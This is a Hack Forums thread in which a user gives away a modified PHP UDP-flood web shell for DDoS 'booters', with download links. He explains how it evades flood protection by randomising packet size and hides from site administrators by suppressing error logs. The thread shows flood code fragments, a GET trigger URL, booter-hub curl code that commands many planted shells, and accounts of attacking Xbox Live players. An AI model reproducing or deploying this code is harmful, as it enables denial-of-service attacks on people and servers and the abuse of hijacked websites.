

Forum:[Hack Forums](#)

Thread: [Shell To Use In Your Booter - GET/UDP Shell - Uses Port](#)

.CyberPunk. - May 1, 2012, 2:29 am

Just to clarify, I am not a noobie. Actually, I have a 1337 account here but I got locked out of it. I couldn't remember the pass or the email. But really, I want this username, just my 1337 transferred over. I could care less about post count. I will try to get that squared away later.

I recently got back into exploiting, hacking, ect. I have been rooting some servers, and better things than measly shell booters. I actually changed, or should I say "fixed" the code for the Kaiten bot (which was coded by a 12 year old from what I could tell by the source lmao).

Back when I made my own .NET Shell Booter, I modified the "GET" shell that many of you have seen, also called the "green" shell. It uses UDP. I actually prefer UDP over TCP (the post shells) for booting anyways. I made mine look better, and also accept the port number. Oh, and whoever made the initial "greenshell" is a tard for having the "act=phptools" in the source. Shows he ripped it from a backdoor web shell. It isn't needed, so I removed it.

So I am giving away, my modified UDP Shell. Drop it on sites, load it into your shell booter, whatever. I think it should replace the "green" shells anyways. They don't accept a port number, MINE DOES!

So NOW you can specify a port number with your UDP shells! Not to mention, it looks sexier too ;)

Screenshot:

[IMG]<http://mineimg.com/images/6J9Yo.png>[/IMG]

Download:

Code <http://createmirror.com/files/0IP8YZVZ/cyber.rar>

http://www.filefactory.com/file/21jp8ntuqiaf/n/cyber_rar

Create mirrors, share it, spread it, whatever. Just give credit where credit is due. I don't know who initially made the Green shell. However, this says my name all over it. The image, ect. I made it so it didn't leave an error log, so I did modify peices of the code to make it better. I even used HTML5, so it should show up fine on your iPhone's or Android phones browser. Also, I used a random packet size as server firewalls attempt to block the packets with the size of 65500. So, I improved it greatly, however it is only as strong as the server it sits on.

ancientgreek - May 1, 2012, 2:48 am

```
$max_time){ break; } $fp = fsockopen('udp://'.$host, $port, $errno, $errstr, 5); if($fp){ fwrite($fp, $out); fclose($fp); } } echo "
```

UDP Flood

```
Completed with $packets (" . round(($packets*65)/1024, 2) . " MB) packets averaging " . round($packets/$exec_time, 2) . " packets per second\n"; echo "
```

What is this? it doesnt work

.CyberPunk. - May 1, 2012, 3:17 am

Do you even have php installed? I have been using it for months.

Learn what you are doing before you tell people their shit is broke! No wonder why you have a negative rep!

I double checked it to make sure I didn't break anything before I packaged it up and posted it here.

IT WORKS JUST FINE, ancientgreek is just a noob and doesn't know what he is doing.

It is a PHP web shell! You upload the shell to your website, navigate to the url in your browser.

It probably won't work on many free webhosts, and it definately wont work if you don't have PHP on the server.

LMAO this ancientgreek dude probably double clicked it, saw weird code, posted here saying it's broke.

Aceintgreek, send me your IP and I will show you it works ;)

ancientgreek - May 1, 2012, 4:51 am

Send you my ip? Hahahaha. Well your script works. It's great. I had a problem that's the reason why I couldn't open it.

ice³ - May 1, 2012, 4:58 am

Specifying a port in a UDP attack? That's different

podencox - May 1, 2012, 7:56 am

really looks great, let's try it thanks

Careless. - May 1, 2012, 3:51 pm

Too tired to look at the code, but you do realize that this is not UDP flood? You don't need to set a port, it uses random ports. Check my thread where I explained it how it works:

EDIT: Sorry, I noticed that this is not a 'shell'. It is actually a Shell Booter Hub.

.CyberPunk. - May 2, 2012, 4:38 am

(May 1, 2012 03:51 PM)Careless. Wrote: [\[CITE\]](#) Too tired to look at the code, but you do realize that this is not UDP flood? You don't need to set a port, it uses random ports. Check my thread where I explained it how it works:

EDIT: Sorry, I noticed that this is not a 'shell'. It is actually a Shell Booter Hub.

This is "my version" of the GET/UDP/GreenShell's floating around that everyone uses in their shell booters, ect.

Instead of a random port number, the user (or controlling application) specifies the port number to flood.

Instead of 65,000 for the packet size, it generates a random size. It is still rather large, I just didn't want it exactly 65k. That way every boot is a diff size. Just adding randomness to it. Servers that use flood protection block attacks with the 65k and 65,500 packet size anymore.

I made, in my opinion, it look better. I updated/fixed the html and php coding of the shell. I modified the ini set limit, max memory, and turned off error reporting. If you hit a bad IP or some error happens, the admin of the site you placed your shell on will see an "error_log" file in FTP. A quick browse and he will find your shell. So my shell, attempts to do some things that many php backdoor

shells attempt to do (like c99/r57/ect).

It isn't perfect, but it is an improvement from the old version running on thousands of sites lmao.

Oh, and the old shells have "?act=phptools" in them, which is useless and more than likely evidence of copy-n-paste from a r57 or some other shell that has ddos flooding in it.

For those who load it up in a shell booter, or a Visual Basic/C# app, you can just perform a GET request on the url:

Code `http://www.example.com/cyber.php?host=1.2.3.4&port=80&time=30`

ice³ - May 3, 2012, 5:43 am

But you know a UDP flood works by hitting random ports, not one single port, right?

66754 - May 3, 2012, 5:51 am

(May 1, 2012 03:17 AM).CyberPunk. Wrote: [\[CITE\]](#) Do you even have php installed? I have been using it for months.

Learn what you are doing before you tell people their shit is broke! No wonder why you have a negative rep!

I double checked it to make sure I didn't break anything before I packaged it up and posted it here.

IT WORKS JUST FINE, ancientgreek is just a noob and doesn't know what he is doing.

It is a PHP web shell! You upload the shell to your website, navigate to the url in your browser.

It probably won't work on many free webhosts, and it definately wont work if you don't have PHP on the server.

LMAO this ancientgreek dude probably double clicked it, saw weird code, posted here saying it's broke.

Aceintgreek, send me your IP and I will show you it works ;)
You will pop a blood vessel if you continue going on like that.

Careless. - May 3, 2012, 2:54 pm

To be honest, I am not really sure about wether changing the Referrer and User Agent making it harder for the server to block the incoming attacks. I could try that though.

.CyberPunk. - May 4, 2012, 11:13 pm

(May 3, 2012 05:43 AM)Sm3t Wrote: [\[CITE\]](#) But you know a UDP flood works by hitting random ports, not one single port, right?

I have hit with using a random port, and I have hit using a specific port. When the specific port is open, it seems to hit better.

For example, against people on XBL. Yes omfg what a skid.. It is a good way to test, there are always people easy to find, real example to see the other end's reaction. You can tell if it is doing anything at all, or if it's close, or took the target out (yellow bar, red-bar, or out).

XBL uses port 3074 and over 1/2 the time, the person has the port open (either no firewall, or they opened the ports). Using port 3074 vs random port.. Sometimes the random port would hit decent, hit decent, then nothing at all. Randomly it wouldn't work, possibly depending on what ports it used

at random. However, when using a targeted port, say 3074 or port 80), it has a non-restricted direct path in, overwhelming that protocol.

To "debunk your theory" about how the UDP attack works:

Code `fsockopen('udp://'. $host, $port, $errno, $errstr, 5);`

As you can see, the `fsockopen` supports the port number, meaning we can specify a specific port to send data on.

My Source, knowledge and this site:

Code <http://php.net/manual/en/function.fsockopen.php>

They pretty much wrote the book on php :p

Why I think a specific port is better... Imagine a damn, it has tons of little wholes horizontally across the damn, to control how much water passes through. Image a router as being the damn, and the holes in the damn represent the ports open. What happens when you try sending 1,000s of gallons of water per second at 1 port? What happens when you send that same amount of water at the damn and it can go through multiple ports... Which would clog up faster? Exactly, the 1 port and all the water going in it and it only!

If you don't know an open port, use port 80. It is open 9 times out of 10

Hycca - May 5, 2012, 1:35 am

If you changed `?act=phptools` I shall only congratulate you for most shell booters use:

```
for($i = 0; $i < $AffectedRows; $i++)
{
    $row = $SQL->last_result[$i];
    $shell = trim($row->URL);

    if (strlen($shell) == 0)
        continue;

    $shell .= "?act=phptools&host={$host}&time={$time}&port={$port}";
    $ch[$i] = curl_init($shell);
    curl_setopt($ch[$i], CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch[$i], CURLOPT_TIMEOUT, 7);
    $curl1 = $mc->addCurl($ch[$i]);
}
```